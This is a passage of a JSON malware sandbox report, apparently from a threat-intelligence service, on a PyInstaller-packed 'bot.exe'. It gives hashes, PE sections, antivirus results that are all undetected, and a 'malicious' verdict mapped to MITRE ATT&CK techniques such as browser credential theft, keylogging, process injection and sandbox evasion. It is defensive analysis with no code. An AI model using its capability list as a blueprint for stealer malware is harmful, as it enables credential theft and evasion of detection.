l","3145728:Nwnu7ly","3145728:wnu7lyD","3145728:nu7lyD+","3145728:u7lyD+Y","3145728:7lyD+YE","3145728:lyD+YEU","3145728:yD+YEUZ","3145728:D+YEUZl","3145728:+YEUZl7","3145728:YEUZl7X","3145728:EUZl7XN","3145728:UZl7XNy","3145728:Zl7XNyj","3145728:l7XNyjh","3145728:7XNyjhQ","3145728:XNyjhQR","3145728:NyjhQR5","3145728:yjhQR5Q","3145728:jhQR5QM","3145728:hQR5QMJ","3145728:QR5QMJJ","3145728:R5QMJJ8","3145728:5QMJJ8R","3145728:QMJJ8R/","3145728:MJJ8R/E","3145728:JJ8R/E0","3145728:J8R/E0/","3145728:8R/E0/u","3145728:R/E0/ut","3145728:/E0/utd","3145728:E0/utd0","3145728:0/utd0x","3145728:/utd0xy","3145728:utd0xyP","3145728:td0xyPO","3145728:d0xyPOL","3145728:0xyPOLr","3145728:xyPOLrf","3145728:yPOLrfP","3145728:POLrfP6","3145728:OLrfP6L","3145728:LrfP6Lp","3145728:rfP6Lp0","3145728:fP6Lp0p","3145728:P6Lp0pc","3145728:6Lp0pcP","1572864:ys6lEQl","1572864:s6lEQlL","1572864:6lEQlLg","1572864:lEQlLga","1572864:EQlLgaR","1572864:QlLgaR5","1572864:lLgaR55","1572864:LgaR55o","1572864:gaR55oR","1572864:aR55oR/","1572864:R55oR/E","1572864:55oR/E0","1572864:5oR/E0/","1572864:oR/E0/k","1572864:R/E0/kd","1572864:/E0/kd0","1572864:E0/kd0x","1572864:0/kd0xx","1572864:/kd0xxf","1572864:kd0xxfP","1572864:d0xxfP4","1572864:0xxfP4p","1572864:xxfP4pk"],"imphash":"e3e80a143805ea18936c8f612e25d363","pehash":"377dd19a20574afd68311064cd5bbebe16536b69"},"file_info":{"file_name":"bot.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":81029596,"entropy":8,"compile_timestamp":"2026-11-06T13:46:43","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1793975462000,"last_seen":1793976005000,"last_multi_scan":1793976005000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":7,"import_count":0,"export_count":0,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":204800,"raw_size":204800},{"name":".rdata","virtual_address":"0x33000","virtual_size":84308,"raw_size":84480},{"name":".data","virtual_address":"0x48000","virtual_size":19192,"raw_size":3584},{"name":".pdata","virtual_address":"0x4d000","virtual_size":10092,"raw_size":10240},{"name":".fptable","virtual_address":"0x50000","virtual_size":256,"raw_size":512},{"name":".rsrc","virtual_address":"0x51000","virtual_size":62492,"raw_size":62976},{"name":".reloc","virtual_address":"0x61000","virtual_size":1888,"raw_size":2048}],"section_names":[".text",".rdata",".data",".pdata",".fptable",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null},"additional_metadata":[{"name":"package_manager","type":"str","values":["pyinstaller"]}]},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":112},"sandbox_signatures":{"informative_count":242,"suspicious_count":22,"malicious_count":6,"total":270},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Stealth","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"informative","value":"Able to retrieve saved login credentials from browser"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Privilege Escalation","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to retrieve system host name"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Persistence","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"Found an indicator for a scheduled task trigger"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Contains ability to retrieve geographical location"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Contains ability to set the socket options (syscall string)"},{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Able to perform encrypt/decrypt operation"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"suspicious","value":"Detected Suricata alert – Encrypted channel"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Drops a license file"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Able to discover program location on disk (API string)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to enumerate files/folders on disk"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment by using web history"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to gather system information"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API that may be used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to retrieve remote user information"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found Python requests User Agent string in memory dumps"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","identifiers":[{"type":"informative","value":"Able to retrieve browser history information"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate process 